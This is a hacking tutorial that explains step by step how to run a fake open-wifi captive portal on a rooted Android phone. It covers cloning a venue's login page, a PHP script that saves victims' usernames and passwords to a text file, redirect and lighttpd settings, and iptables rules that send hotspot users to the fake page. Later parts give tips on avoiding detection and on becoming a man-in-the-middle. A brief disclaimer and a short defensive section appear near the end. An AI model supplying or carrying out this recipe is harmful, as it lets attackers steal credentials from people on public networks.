Have you ever used an open wifi, which after you connect displays a website to enter your credentials to get internet? That website is called captive portal and widely used in airports, hotels, universities etc. Have you ever wondered what would happen if someone would set up an open wifi with the same name displaying a very similar web page asking for credentials? Usually if there are multiple wifi networks with the same name and encryption, devices only display the one with the highest signal strength (this is useful for big networks like a hotel or a university). And since the user is expecting a website asking for their credentials, they would be happy to insert it, and voilà the attacker got their credentials. What could be even more scary (and fun)? For this attack it's enough to have a rooted android phone, and nothing else. I will show you how to do it. Of course everything written here is only for educational and research purpose. I show it mainly to make people realize how vulnerable the captive portals are and that you should be very careful when you use them.
Quick overview of the steps:
- Install the web server on your phone
- Clone the captive portal and edit it
- Write the php script to save the credentials
- Create the 404 redirect page and configure the web server
- Set up some iptable rules to redirect people to the captive portal
- Test if everything works
Install a web server on your phone. I used the Palapa Web Server (free from Google Play), but probably any other with php would work as well. In the Web Server Settings configure it to 'Use Root Access' (it's needed to be able to run on port 80), and also give it root permissions when your superuser app asks for it. Then still in the Web Server Settings go the the Components / Lighthttpd. Here change the Port to 80.
Test: Now connect your phone to the wifi and start the web server (there is a big button under the Web Server menu). Here you should also see the IP of the webserver, something like this: 127.0.0.1, 192.168.1.103, 220.127.116.11. You will need to use the second one (usually starting with 192.168, but not necessarily). Just type in your browser on the computer connected to the same network as the phone. It should display the default page of Palapa Web Server. If you can see it, you are done with the first step.
Since we need the copy of the legit captive portal we will clone it. It also has to be modified a bit to save the credentials for us and display some error message to the user (since they never going to get internet from us).
But we have a problem here. The website right now sends the credentials to the legit server and not stores it for us. Let's fix this ;) You need some basic html and php for this, so if you don't understand something, I suggest you to take a look at the W3 School's HTML and PHP tutorials. It will be also useful for your future anyhow.
Now try to locate the form for the username and password. Find the <form ...> html tag, but be careful there may be more then one form on the site. Your form tag will look like something similiar: <form name="myform" method="post" action="https://besthotel.com/wifilogin.html">. You want to edit the action property. If it's not presented, add it manually, otherwise change it to action="login.php".
Also note the names of the input fields. Between the <form..> tag and the submit button there has to be other <input...> tags like this: <input size="19" name="login_passwd" type="password">. Find the ones for the username and for the password and note their name property (in this case login_passwd).
Now we are done with the html page. Save and open it in your browser, if it looks OK, move on the next step.
The php script will be very simple. Open a text editor (notepad, gedit, nano whatever), insert the following code and save it as login.php:
$credential = $_POST'login_username'."\t".$_POST'login_passwd'."\n";
file_put_contents('credentials.txt', $credential, FILE_APPEND);
<pre>Unknown error. Please disconnect and reconnect to the wifi.</pre>
First we collect the data we want to save. Do you remember the names for the username and password input? Good, we need those now. You can access the parameters sent by the form with $_POST'login_passwd'. Don't forget to replace login_passwd with the name of your input. The . operator just concatenate the username, a tab, password and a newline. The second line of the code appends the $credential variable to the end of the credentials.txt file. Important! The file has to be created in advance, so let's create an empty file now and name it to credentials.txt. We are basically done with saving the credentials, now it's good to display some error message for the user to keep him busy and don't make him suspicious.
The normal captive portal system redirects every request to the portal, so we have to do the same. Let's create a new file, name it 404.php and insert the following content: <?php header("Location: http://192.168.1.103/captive/form.php "); ?> Note, that you have to insert the original url of your captive portal and only replace the besthotel.com part with the ip of your phone (in my case 192.168.1.103, but it will be different for you - see step 1. Also don't forget to change https to http, more about it later).
Now we have to copy all our files to the web server. Palapa Web Server stores the files under /sdcard/pws/www/ so let's go there. Copy the 404.php in the www folder, but wait a bit with the others. As you can see in my example the original captive portal url ended like /captive/form.php, so we have to imitate the same. Let's create a folder captive and copy the other files (form.html, form files, login.php, credentials.txt) into that. But we still have a problem, originally form.html was named form.php. So let's rename it to form.php.
You also have to configure the web server to use the 404.php as its 404 page. Let's open the mobile app, go to Web Server Settings, select Lighttpd and 'Edit config'. Insert the following line (I inserted it after the 4th line, but it should work everywhere): server.error-handler-404 = "/404.php" and save it. You should also disable directory listing, so do it now (it's under Web Server Settings, Lighttpd).
Test: Now restart your webserver and try to access the ip of your phone from the browser again (in my case 192.168.1.103). It should be instantly redirected to http://192.168.1.103/captive/form.php and you should be prompted with the login page. Insert some data and press enter. You should see the error message your wrote previously, and if you go to http://192.168.1.103/captive/credentials.txt you should be able to see what you just entered.
So you have your captive portal running, but it's only assessable through the ip of your phone. If you would turn on the hotspot on your phone, people connecting to it would get internet and they won't be redirected to the captive portal. Let's fix it! First turn on the wifi hotspot on your phone. Name and encryption doesn't matter now, we only need the IP of the phone while it's acting as a hotspot. So if the hotspot is running, open Palapa Web Server and check it's IP as previously. You will need the second IP again (the one after 127.0.0.1). For me it was 192.168.55.1, for you it's probably different, but it usually ends to 1. Note it, and turn off the hotspot.
So what happens when a person tries to access a website?
- User types the name of the site in the browser (let's say https://null-byte.wonderhowto.com/) and presses enter.
- The browser sends a DNS query to the DNS server to get the IP of the website: "Where can I find https://null-byte.wonderhowto.com/?"
- The DNS server respondes with the IP: "https://null-byte.wonderhowto.com/ is at 18.104.22.168"
- The browser connects to the IP (22.214.171.124) on port 80 and request the website: "Hey 126.96.36.199:80, send me the website"
- The server sends the website to the browser: "Here it is"
- Browser displays the website
Now how captive portals work usually? They usually responds to every DNS request with their own IP address, and thus responding to every website with their own. For this we would need a DNS server running on the phone, what I could not find. So I chose a different way: let's turn on mobile data, and let the DNS request and response happen, but when it tries to connect to the server by IP simply redirect this request to the IP of the phone and so respond with the captive portal. So the first 4 steps are the same, but the 4th step "Hey 188.8.131.52:80, send me the website" is answered by the web server running on the phone with the captive portal.
To do this we need to set up some iptables rules. First download an app to edit the iptable. I used iptables by su but probably any other program would work too. Of course this app also needs root permissions. Now let's add the following rules line by line starting with the first one:
iptables -A FORWARD -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -p udp --sport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.55.1
iptables -P FORWARD DROP
So iptable works like this: it tries to match the first rule to the packet, if it matches, iptable applies the given action (ACCEPT or DROP) and quits. If the first rule doesn't match on the packet, iptable tries the second, then the third and so on. So with the first rules you define which packets you allow, then create a drop all rule, it will only drop the packets not defined before (since if one rule matches, iptable quits).
The first two rules allows DNS request and response (UDP protocol, to and from port 53 (destination and source port)). The third rule defines that if a packet is coming toward port 80 (normal http), then reroute it to 192.168.55.1 (of course you want to change this IP to the IP of your phone while it's a hotspot as noted in the beginning of this step). In the end drop every other package. I used the FORWARD option, so I can still access the web normally from my phone, and only the packets coming from devices connected to the hotspot will be dropped.
If you mistype a rule, you can always clear all of them with the command iptables -F, and also if you reboot your phone it will be cleared (and also if you put it in aeroplane mode). For more about iptables see this and this article.
Now edit the 404.php to redirect people to the original captive portal url (http://besthotel.com/captive/form.php ) instead of the one with IP (192.168.1.103/captive/form.php). Also note, that in my example the original website used https, but I'm using http. This is because I don't have the SSL certificate for besthotel.com, so I could not set up an https website with this url. But since users never look at the beginning of the url, they will never notice this slight difference. (Although it may stop password managers from inserting the password automatically, tough not in all cases.)
So since you are giving access to your own mobile data, you must be very careful. First of all set up the hotspot and connect to it from your computer. Test the desired functionality: if you access any http website, it should redirect you to the captive portal. In case of https websites you should not be able to access it at all. You should also test if saving the credentials still works. Now since the redirection you can access your credentials.txt under whatever.com/captive/credentials.txt. The domain itself (whatever.com) doesn't matter (as long as it exists), since it will be answered by your own web server.
But testing the functionality is not enough. What if some other program (eg Dropbox) can still use your mobile data? So let's start WireShark on the computer which is connected to the hotspot and start capturing on the wifi interface. You should see basically 3 type of traffic:
- DNS Standard query & DNS Standard query response
- HTTP packets containing either the redirection or the captive portal (right click>follow tcp stream and you should see the source code)
- HTTPS SYN packets without any answer
You may see some other traffic (like Dropbox Lan discovery), but that's also ok. Just make sure you don't have a big amount of traffic (like https) going to the internet.
- Change MAC address - if you want to use this captive portal, people may get suspicious and they may record your mac address to find you later (though I don't think it would be too likely). There are multiple applications on Google Play which can change your MAC address, but for me they didn't work, so I can not say if they also change your MAC address as hotspot, or only as wifi client. You have to figure it out.
- Dedicated DNS server - it would be nice to write a DNS server running on the phone and so you would not need to keep mobile data on. I found this code which could be a good starting point.
- Provide internet - if you have unlimited mobile data and don't want to make your targets suspicious you can provide them internet after the captive portal. See this tutorial for the necessary iptable rules. In this case you would instantly become man-in-the-middle, which also has some advantages.
If you are a sysadmin, don't use captive portal. Use Radius or something similar. If you are a user and you are forced to use it, always check it if it's https (it's almost impossible to fake an https website without the certificate), or simply just insert a fake password first. If it says 'wrong password' than you may trust it (although it's pretty easy for the hacker to answer 'wrong password' to every first attempt and only display the error message at the second).
So congratulations, you are done :) I hope you like it. I consider myself as a beginner in hacking, so I probably made some mistakes. If you find any, report it and I will fix it. Also if you have any further question, don't hesitate to comment below. I will do my best to make you understand it.
Stay hungry, stay safe
Your General Gamma
Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.
Other worthwhile deals to check out: